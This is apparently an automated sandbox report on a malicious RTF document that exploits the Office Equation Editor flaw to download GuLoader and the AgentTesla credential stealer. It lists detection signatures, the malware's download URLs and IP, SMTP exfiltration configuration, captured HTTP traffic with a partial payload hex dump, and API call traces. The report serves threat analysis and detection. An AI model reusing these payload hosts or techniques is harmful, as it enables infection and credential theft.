Windows Analysis Report T81Ip9NCGi

Overview

General Information

Sample Name: T81Ip9NCGi (renamed file extension from none to rtf)
Analysis ID: 532227
MD5: 79b064007e51e1cfb2f7c91c732242a9
SHA1: c4748fd11683b4b02e5bbc13746005a023f66568
SHA256: b5784dc5717d0733bcdd150fda07cc94bcc2e2529e0f03e3bb9ec9b623302496
Tags: rtf
Infos:

Most interesting Screenshot:

Detection

GuLoader AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Antivirus / Scanner detection for submitted sample
Sigma detected: Droppers Exploiting CVE-2017-11882
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
GuLoader behavior detected
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Yara detected GuLoader
Hides threads from debuggers
Writes to foreign memory regions
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Execution from Suspicious Folder
Office equation editor drops PE file
Machine Learning detection for dropped file
C2 URLs / IPs found in malware configuration
Drops PE files to the user root directory
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Stores large binary data to the registry
Yara detected Credential Stealer
Contains functionality to call native functions
Potential document exploit detected (performs DNS queries)
Downloads executable code via HTTP
Contains functionality for execution timing, often used to detect debuggers
Document misses a certain OLE stream usually present in this Microsoft Office document type
Abnormal high CPU Usage
Potential document exploit detected (unknown TCP traffic)
PE file contains strange resources
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Office Equation Editor has been started
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Drops PE files to the user directory
Dropped file seen in connection with other malware
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000009.00000002.679892617.0000000000560000.00000040.00000001.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://onedrive.live.com/download?cid=5A15FDA1AE9"}
Source: CasPol.exe.672.9.memstrmin Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "dherdiana@rpxholding.comdha10apasmtp.rpxholding.comjo.esg2000@gmail.com"}
Multi AV Scanner detection for submitted file
Source: T81Ip9NCGi.rtf ReversingLabs: Detection: 35%
Antivirus / Scanner detection for submitted sample
Source: T81Ip9NCGi.rtf Avira: detected
Antivirus detection for URL or domain
Source: http://192.3.122.180/1100/vbc.exe Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{F8012674-B7CB-458D-8650-A31E79A66D61}.tmp Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe ReversingLabs: Detection: 20%
Source: C:\Users\Public\vbc.exe ReversingLabs: Detection: 20%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\misv.exe Joe Sandbox ML: detected

Exploits:

barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: C:\Program Files (x86)\Administrator-Cloud\Projects\Acly3.pdb source: vbc.exe, 00000003.00000002.416790388.000000000040D000.00000004.00020000.sdmp, vbc.exe, 00000003.00000002.416819547.0000000000427000.00000004.00020000.sdmp, Acly3.exe.3.dr
Source: C:\Users\Public\vbc.exe Code function: 3_2_00406873 FindFirstFileW,FindClose, 3_2_00406873
Source: C:\Users\Public\vbc.exe Code function: 3_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 3_2_00405C49
Source: C:\Users\Public\vbc.exe Code function: 3_2_0040290B FindFirstFileW, 3_2_0040290B

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: onedrive.live.com
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.122.180:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.122.180:80

Networking:

barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://onedrive.live.com/download?cid=5A15FDA1AE9
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 01 Dec 2021 19:57:58 GMTServer: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.3.31Last-Modified: Wed, 01 Dec 2021 09:20:35 GMTETag: "2020b-5d2122fb5045c"Accept-Ranges: bytesContent-Length: 131595Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5a 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 6a 00 00 00 da 02 00 00 08 00 00 2d 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 e0 04 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 86 00 00 a0 00 00 00 00 c0 04 00 e0 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 97 68 00 00 00 10 00 00 00 6a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a6 14 00 00 00 80 00 00 00 16 00 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 b0 02 00 00 a0 00 00 00 06 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 60 01 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 e0 11 00 00 00 c0 04 00 00 12 00 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /1100/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.122.180Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.122.180
Source: CasPol.exe, 00000009.00000002.680232197.000000000089E000.00000004.00000020.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: CasPol.exe, 00000009.00000002.687534947.000000001E1D0000.00000002.00020000.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: CasPol.exe, 00000009.00000002.680232197.000000000089E000.00000004.00000020.sdmp String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp, CasPol.exe, 00000009.00000002.680232197.000000000089E000.00000004.00000020.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: CasPol.exe, 00000009.00000002.680300539.0000000000957000.00000004.00000020.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: CasPol.exe, 00000009.00000002.687534947.000000001E1D0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com
Source: CasPol.exe, 00000009.00000002.687534947.000000001E1D0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com/
Source: Acly3.exe, 00000004.00000002.684268580.0000000003D47000.00000002.00020000.sdmp, CasPol.exe, 00000009.00000002.690242514.000000001E3B7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: Acly3.exe, 00000004.00000002.684268580.0000000003D47000.00000002.00020000.sdmp, CasPol.exe, 00000009.00000002.690242514.000000001E3B7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: vbc.exe, 00000003.00000002.416787128.000000000040A000.00000004.00020000.sdmp, vbc.exe, 00000003.00000000.411004691.000000000040A000.00000008.00020000.sdmp, misv.exe, 0000000C.00000000.670443220.000000000040A000.00000008.00020000.sdmp, vbc.exe.1.dr, vbc[1].exe.1.dr, misv.exe.9.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp, CasPol.exe, 00000009.00000002.680232197.000000000089E000.00000004.00000020.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: vbc.exe, 00000003.00000002.416790388.000000000040D000.00000004.00020000.sdmp, vbc.exe, 00000003.00000002.416819547.0000000000427000.00000004.00020000.sdmp, Acly3.exe.3.dr String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: vbc.exe, 00000003.00000002.416790388.000000000040D000.00000004.00020000.sdmp, vbc.exe, 00000003.00000002.416819547.0000000000427000.00000004.00020000.sdmp, Acly3.exe.3.dr String found in binary or memory: http://s.symcd.com06
Source: WINWORD.EXE, 00000000.00000002.566986051.00000000077FE000.00000004.00000001.sdmp String found in binary or memory: http://scas.openformatrg/drawml/2006/main
Source: WINWORD.EXE, 00000000.00000002.567007922.000000000782E000.00000004.00000001.sdmp, WINWORD.EXE, 00000000.00000002.566916731.00000000077CE000.00000004.00000001.sdmp String found in binary or memory: http://schemas.open
Source: WINWORD.EXE, 00000000.00000002.566916731.00000000077CE000.00000004.00000001.sdmp String found in binary or memory: http://schemas.openformatrg/package/2006/content-t
Source: WINWORD.EXE, 00000000.00000002.567007922.000000000782E000.00000004.00000001.sdmp String found in binary or memory: http://schemas.openformatrg/package/2006/r
Source: WINWORD.EXE, 00000000.00000002.563683777.00000000042A0000.00000002.00020000.sdmp, vbc.exe, 00000003.00000002.416972078.0000000001F10000.00000002.00020000.sdmp, CasPol.exe, 00000009.00000002.684104309.000000001D800000.00000002.00020000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: Acly3.exe, 00000004.00000002.684268580.0000000003D47000.00000002.00020000.sdmp, CasPol.exe, 00000009.00000002.690242514.000000001E3B7000.00000002.00020000.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: vbc.exe, 00000003.00000002.416790388.000000000040D000.00000004.00020000.sdmp, vbc.exe, 00000003.00000002.416819547.0000000000427000.00000004.00020000.sdmp, Acly3.exe.3.dr String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: vbc.exe, 00000003.00000002.416790388.000000000040D000.00000004.00020000.sdmp, vbc.exe, 00000003.00000002.416819547.0000000000427000.00000004.00020000.sdmp, Acly3.exe.3.dr String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: vbc.exe, 00000003.00000002.416790388.000000000040D000.00000004.00020000.sdmp, vbc.exe, 00000003.00000002.416819547.0000000000427000.00000004.00020000.sdmp, Acly3.exe.3.dr String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: Acly3.exe, 00000004.00000002.684268580.0000000003D47000.00000002.00020000.sdmp, CasPol.exe, 00000009.00000002.690242514.000000001E3B7000.00000002.00020000.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: WINWORD.EXE, 00000000.00000002.563683777.00000000042A0000.00000002.00020000.sdmp, vbc.exe, 00000003.00000002.416972078.0000000001F10000.00000002.00020000.sdmp, CasPol.exe, 00000009.00000002.684104309.000000001D800000.00000002.00020000.sdmp String found in binary or memory: http://www.%s.comPA
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: CasPol.exe, 00000009.00000002.687534947.000000001E1D0000.00000002.00020000.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: Acly3.exe, 00000004.00000002.684268580.0000000003D47000.00000002.00020000.sdmp, CasPol.exe, 00000009.00000002.690242514.000000001E3B7000.00000002.00020000.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: CasPol.exe, 00000009.00000002.687534947.000000001E1D0000.00000002.00020000.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: CasPol.exe, 00000009.00000002.687534947.000000001E1D0000.00000002.00020000.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: vbc.exe, 00000003.00000002.416790388.000000000040D000.00000004.00020000.sdmp, vbc.exe, 00000003.00000002.416819547.0000000000427000.00000004.00020000.sdmp, Acly3.exe.3.dr String found in binary or memory: https://d.symcb.com/cps0%
Source: vbc.exe, 00000003.00000002.416790388.000000000040D000.00000004.00020000.sdmp, vbc.exe, 00000003.00000002.416819547.0000000000427000.00000004.00020000.sdmp, Acly3.exe.3.dr String found in binary or memory: https://d.symcb.com/rpa0
Source: vbc.exe, 00000003.00000002.416790388.000000000040D000.00000004.00020000.sdmp, vbc.exe, 00000003.00000002.416819547.0000000000427000.00000004.00020000.sdmp, Acly3.exe.3.dr String found in binary or memory: https://d.symcb.com/rpa0.
Source: CasPol.exe, 00000009.00000002.683974678.000000001D390000.00000004.00000001.sdmp String found in binary or memory: https://eruitg.bl.files.1drv.com/
Source: CasPol.exe, 00000009.00000002.683974678.000000001D390000.00000004.00000001.sdmp String found in binary or memory: https://eruitg.bl.files.1drv.com/y4muNEzpitWvAmX7Vz4E733dpYGfCYrMWu-PvveEpyz1hNKqOgAXlUDzjcpY7W274Qg
Source: CasPol.exe, 00000009.00000002.683974678.000000001D390000.00000004.00000001.sdmp String found in binary or memory: https://fspzka.bl.files.1drv.com/
Source: CasPol.exe, 00000009.00000002.680300539.0000000000957000.00000004.00000020.sdmp String found in binary or memory: https://fspzka.bl.files.1drv.com/lU)
Source: CasPol.exe, 00000009.00000002.684034086.000000001D41E000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.683974678.000000001D390000.00000004.00000001.sdmp String found in binary or memory: https://fspzka.bl.files.1drv.com/y4mA4TmJkclcR_hxludBD4dX7tD1sUxzesfsAA1g8l7yxjN7FTtZtQscxnySO3fUefx
Source: CasPol.exe, 00000009.00000002.684034086.000000001D41E000.00000004.00000001.sdmp String found in binary or memory: https://fspzka.bl.files.1drv.com/y4mP7_EzD4E9pJoVHXNCm_aHG9sNUYaYn5ZLxRh4dzJ2jsCGVhpiD6B5BkejNSybMdS
Source: CasPol.exe, 00000009.00000002.680232197.000000000089E000.00000004.00000020.sdmp String found in binary or memory: https://onedrive.live.com/
Source: CasPol.exe, 00000009.00000002.679794080.0000000000190000.00000004.00000001.sdmp String found in binary or memory: https://onedrive.live.com/download?cid=5A15FDA1AE98540B&resid=5A15FDA1AE98540B%21129&authkey=AC3Dy6X
Source: CasPol.exe, 00000009.00000002.683974678.000000001D390000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.680070003.0000000000884000.00000004.00000020.sdmp, CasPol.exe, 00000009.00000002.679794080.0000000000190000.00000004.00000001.sdmp String found in binary or memory: https://onedrive.live.com/download?cid=5A15FDA1AE98540B&resid=5A15FDA1AE98540B%21130&authkey=AF6g200
Source: CasPol.exe, 00000009.00000002.680232197.000000000089E000.00000004.00000020.sdmp String found in binary or memory: https://onedrive.live.com/w
Source: CasPol.exe, 00000009.00000002.680271787.000000000091A000.00000004.00000020.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{AAA38BD7-6E2E-4485-B33A-19C659167A7E}.tmp Jump to behavior
Source: unknown DNS traffic detected: queries for: onedrive.live.com
Source: global traffic HTTP traffic detected: GET /1100/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.122.180Connection: Keep-Alive

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Contains functionality for read data from the clipboard
Source: C:\Users\Public\vbc.exe Code function: 3_2_004056DE GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 3_2_004056DE

System Summary:

barindex
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Contains functionality to shutdown / reboot the system
Source: C:\Users\Public\vbc.exe Code function: 3_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 3_2_0040352D
Detected potential crypto function
Source: C:\Users\Public\vbc.exe Code function: 3_2_0040755C 3_2_0040755C
Source: C:\Users\Public\vbc.exe Code function: 3_2_00406D85 3_2_00406D85
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Code function: 4_2_00401724 4_2_00401724
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00573C06 9_2_00573C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056C6DF 9_2_0056C6DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569859 9_2_00569859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A042 9_2_0056A042
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569C4D 9_2_00569C4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056BC4B 9_2_0056BC4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00571877 9_2_00571877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569465 9_2_00569465
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569C1F 9_2_00569C1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056980E 9_2_0056980E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569431 9_2_00569431
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056BC20 9_2_0056BC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A42F 9_2_0056A42F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569CD7 9_2_00569CD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_005694D5 9_2_005694D5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_005720CA 9_2_005720CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A4E3 9_2_0056A4E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A0E9 9_2_0056A0E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A082 9_2_0056A082
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00568C8A 9_2_00568C8A
